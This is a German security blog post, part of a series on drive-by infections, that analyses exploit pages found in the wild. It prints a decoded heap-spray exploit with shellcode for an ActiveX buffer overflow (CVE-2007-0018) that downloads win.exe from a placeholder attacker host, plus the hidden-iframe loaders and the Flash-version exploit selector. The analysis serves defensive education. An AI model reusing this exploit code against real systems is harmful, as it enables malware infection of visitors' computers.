Skip to content

Drive-by-Infektionen - Ein Blick auf die Exploits

Geschrieben von Carsten Eilers am um 09:13

In der vorhergehenden Folge wurde der Anfang einer Drive-by-Infektion beschrieben: Die Seite, die die verschiedenen Exploits einbindet, mit denen dann versucht wird, den Rechner des Besuchers mit Schadsoftware zu infizieren, sowie ein erster dieser Exploits. In dieser Folge werden zwei weitere Angriffe vorgestellt.

Ein Exploit für 150 oder mehr Programme

Der erste Exploit befindet sich in der Datei nct.htm, die nur dann eingebunden wird, wenn das NCTAudioFile2 ActiveX-Control von NCTsoft gefunden wurde: 

try{
   var d;
   var lz=new ActiveXObject("NCTAudio"+"File2.AudioFile2.2");
}
catch(d){};
finally{
   if(d!="[object Error]")
      {document.write("<iframe width=100 height=0 src=nct.htm></iframe>");}
}

Die eingebundene Datei nct.htm hat folgenden Inhalt: 

<html>
<script language="JavaScript" defer>
   window.onerror=function(){return true;}
   eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while
   (c--){d[c]=k[c]¦¦c}k=[function(e) [...]
</script>
<body onload="JavaScript: return tryMe();">
   <object classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC" id='boom'></object>
</body>
</html>

Dekodiert ergibt der eval()-Aufruf 

test = "game";
var sCode = unescape("%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3c45%u548b%u7805%uea01%u4a8b
                      %u8b18%u205a%ueb01%u32e3%u8b49%u8b34%uee01%uff31%u31fc%uacc0%ue038%u0774
                      %ucfc1%u010d%uebc7%u3bf2%u247c%u7514%u8be1%u245a%ueb01%u8b66%u4b0c%u5a8b
                      %u011c%u8beb%u8b04%ue801%u02eb%uc031%u5e5f%u5b5d%u08c2%u5e00%u306a%u6459
                      %u198b%u5b8b%u8b0c%u1c5b%u1b8b%u5b8b%u5308%u8e68%u0e4e%uffec%u89d6%u53c7
                      %u8e68%u0e4e%uffec%uebd6%u5a50%uff52%u89d0%u52c2%u5352%uaa68%u0dfc%uff7c
                      %u5ad6%u4deb%u5159%uff52%uebd0%u5a72%u5beb%u6a59%u6a00%u5100%u6a52%uff00
                      %u53d0%ua068%uc9d5%uff4d%u5ad6%uff52%u53d0%u9868%u8afe%uff0e%uebd6%u5944
                      %u006a%uff51%u53d0%u7e68%ue2d8%uff73%u6ad6%uff00%ue8d0%uffab%uffff%u7275
                      %u6d6c%u6e6f%u642e%u6c6c%ue800%uffae%uffff%u5255%u444c%u776f%u6c6e%u616f
                      %u5464%u466f%u6c69%u4165%ue800%uffa0%uffff%u2e2e%u765c%ue800%uffb7%uffff
                      %u2e2e%u765c%ue800%uff89%uffff%u7468%u7074%u2f3a%u772f%u7777%u732e%u6574
                      %u6f6f%u632e%u6d6f%u612f%u6d64%u6e69%u772f%u6e69%u652e%u6578%u0000");
var sSlide = unescape("%u9090%u9090");
var heapSA = 0x0c0c0c0c;
function tryMe(){
  var buffSize = 5200;
  var x = unescape("%0c%0c%0c%0c");
  while (x.length < buffSize) x += x;
  x = x.substring(0, buffSize);
  boom.SetFormatLikeSample(x)
}
function getsSlide(sSlide, sSlideSize){
  while (sSlide.length * 2 < sSlideSize){
    sSlide += sSlide
  }
  sSlide = sSlide.substring(0, sSlideSize/2);
  return(sSlide)
}
var heapBS=0x400000;
var sizeHDM=0x5;
var PLSize=(sCode.length*2);
var sSlideSize=heapBS-(PLSize+sizeHDM);
var heapBlocks=(heapSA+heapBS)/heapBS;
var memory = new Array();
sSlide = getsSlide(sSlide, sSlideSize);
for (i = 0; i < heapBlocks; i ++ ){
  memory[i] = sSlide + sCode
}

Ausgenutzt wird eine Pufferüberlauf-Schwachstelle im NCTAudioFile2 ActiveX-Control (CVE-2007-0018), die es indirekt in sich hat: Das ActiveX-Control ist als Dritthersteller-Komponente in einer großen Zahl von Programmen enthalten, und ein Update zum Beheben der Schwachstelle gibt es nicht. Viele Rechner sind also von der Schwachstelle betroffen, ohne das die Benutzer es überhaupt ahnen.

Der kodierte JavaScript-Code erfüllt zwei Aufgabe: Die Funktion tryMe() ist für den Aufbau des Datenblocks zuständig, der dann bei der Verarbeitung durch das ActiveX-Control zum Pufferüberlauf führt. Außerdem wird der nach dem Pufferüberlauf auszuführende Schadcode, enthalten in der Variable sCode, mehrmals im Wechsel mit Füllbytes in den Speicher geschrieben. Seine Aufgabe: Weiteren Code nachzuladen, und zwar die Programmdatei
http://boeser-server-2.example/admin/win.exe.

Immer gern genommen: Exploits für Adobes Flash Player

Beim zweiten Beispiel handelt es sich um einen Angriff, der immer eingebunden wird: Die Datei flash.htm. Ihr Inhalt: 

<script>
window.onerror=function(){return true;}
saff = "temm";
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
    document.write("<iframe src=ihh.html width=100 height=0></iframe>");
else{
    document.write("<iframe src=fhh.html width=100 height=0></iframe>");}
</script>

Diese Datei dient als Weiche und enthält selbst keinen Exploit: Im Internet Explorer wird die Datei ihh.html eingebunden, in anderen Browsern fhh.html. ihh.html hat folgenden Inhalt: 

<SCRIPT language="JavaScript">
   window.status="ÕÍ≥…";
</script>
<script type="text/javascript" src="swfobject.js"></Script>
<div id="flashcontent">111</div>
<div id="flashversion">222</div>
<script type="text/javascript">
   test = "mymovie";
   var versionn=deconcept.SWFObjectUtil.getPlayerVersion();
   if(versionn['major']==9){
       document.getElementById('flashversion').innerHTML="";
       if(versionn['rev']==115){
           var so=new SWFObject("i115.swf",test,"0.1","0.1","9","#000000");
           so.write("flashcontent")
       }
       else if(versionn['rev']==64){
           var so=new SWFObject("i64.swf",test,"0.1","0.1","9","#000000");
           so.write("flashcontent")
       }
       else if(versionn['rev']==47){
           var so=new SWFObject("i47.swf",test,"0.1","0.1","9","#000000");
           so.write("flashcontent")
       }
       else if(versionn['rev']==45){
           var so=new SWFObject("i45.swf",test,"0.1","0.1","9","#000000");
           so.write("flashcontent")
       }
       else if(versionn['rev']==28){
           var so=new SWFObject("i28.swf",test,"0.1","0.1","9","#000000");
           so.write("flashcontent")
       }
       else if(versionn['rev']==16){
           var so=new SWFObject("i16.swf",test,"0.1","0.1","9","#000000");
           so.write("flashcontent")
       }
       else if(versionn['rev']>=124){
           if(document.getElementById){
               document.getElementById('flashversion').innerHTML=""
           }
       }
   }
</Script>

Die Datei fhh.html hat fast den gleichen Inhalt. Der einzige Unterschied zwischen beiden Dateien ist die Anpassung an den Internet Explorer in ihh.html, außerdem werden auch zwei Sätze .swf-Dateien verwendet. Bei der eingebundene Skriptdatei swfobject.js handelt es sich tatsächlich um die bekannte JavaScript-Bibliothek zum Einbinden von Flash-Inhalten, SWFObject. Auch Cyberkriminelle nutzen natürlich vorhandene Bibliotheken und entwickeln nicht alles neu.

Je nach vorhandener Version des Flash Players werden dann andere .swf-Dateien eingebunden, die angepasste Exploits für eine Schwachstelle im Flash Player enthalten (CVE-2007-0071). Probeweise habe ich am 4.8.2010 eine dieser immerhin schon aus dem Jahr 2008 stammenden Exploit-Dateien von Virustotal analysieren lassen. Das überraschende Ergebnis: Nur 27 von 41 Virenscannern erkennen den enthaltenen Schadcode.

Das große Ganze

Den Zusammenhang der verschiedenen Dateien und der weiteren Bestandteile zeigt Abb. 1. Der Übersichtlichkeit halber nicht enthalten sind die über ihh.html und fhh.html eingebundenen .swf-Dateien.

Abb. 1: Die Dateien zum Einschleusen des Schadcodes
Abb. 1: Die Dateien zum Einschleusen des Schadcodes

An der Art, wie die Opfer zu den Exploits geleitet werden, sowie am prinzipiellen Aufbau der Angriffe hat sich seit 2008 wenig getan. Der einzige relevante Unterschied: 2010 richtet sich eine große Zahl der Angriffe gegen den Adobe Reader. Generell setzen die Cyberkriminellen eine Mischung alter und neuer Exploits ein. Zur Zeit werden außer vielen älteren Schwachstellen auch die im Juni veröffentlichten 0-Day-Schwachstellen in Flash Player, Adobe Reader und Acrobat sowie dem Help and Support Center von Windows XP und Server 2003 ausgenutzt (Adobe, Windows).

Klein, aber gemein: Der Schadcode

Der eingeschleuste Schadcode ist klein, aber gemein. Seine einzige Aufgabe besteht darin, weiteren Code nachzuladen. Er stellt sozusagen den Fuß in der Tür des Rechners dar, damit sich der tatsächliche Schadcode dann reindrängeln kann. Dieser Ansatz hat zwei Vorteile: Zum einen ist es oft gar nicht möglich, aufwändigen Code einzuschleusen, zum anderen kann der eigentliche Schadcode so bei Bedarf ganz einfach ausgetauscht werden, es muss lediglich die nachzuladende Datei ersetzt werden.

Oft erfolgt vor der Auslieferung der Exploits als zusätzliche Sicherheitsmaßnahme eine Prüfung des HTTP-Referer-Headers, um sicher zu stellen, dass die Besucher von einer Suchmaschine oder einer manipulierten Seite kommen. Damit sollen Sicherheitsforscher von der Schadsoftware ferngehalten und deren Analyse verhindert werden.

In der nächsten Folge geht es um die Erkennung und Verhinderung der Angriffe.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Drive-by-Infektionen - Gefahren drohen überall
Drive-by-Infektionen durch SQL-Injection vorbereitet
Drive-by-Infektionen: So kommt der Schadcode auf den Server
Drive-by-Infektionen - Vom Server auf den Client
Drive-by-Infektionen - Ein Blick auf die Exploits
Drive-by-Infektionen erkennen und abwehren
LizaMoon - Massenhack mit minimalen Folgen
Aktuelles: LizaMoon auf Apples iTunes-Seiten
Drive-by-Infektionen über präparierte Werbung

Trackbacks

Dipl.-Inform. Carsten Eilers am : Drucksache: PHP Magazin 2.2013 - Drive-by-Infektionen

Vorschau anzeigen
Mein Artikel im PHP Magazin 2.2013 beschäftigt sich mit den auch hier im Blog schon behandelten Drive-by-Infektionen. Da der Artikel im PHP Magazin erschienen ist, liegt der Schwerpunkt natürlich auf PHP. Konkret erkläre ich am B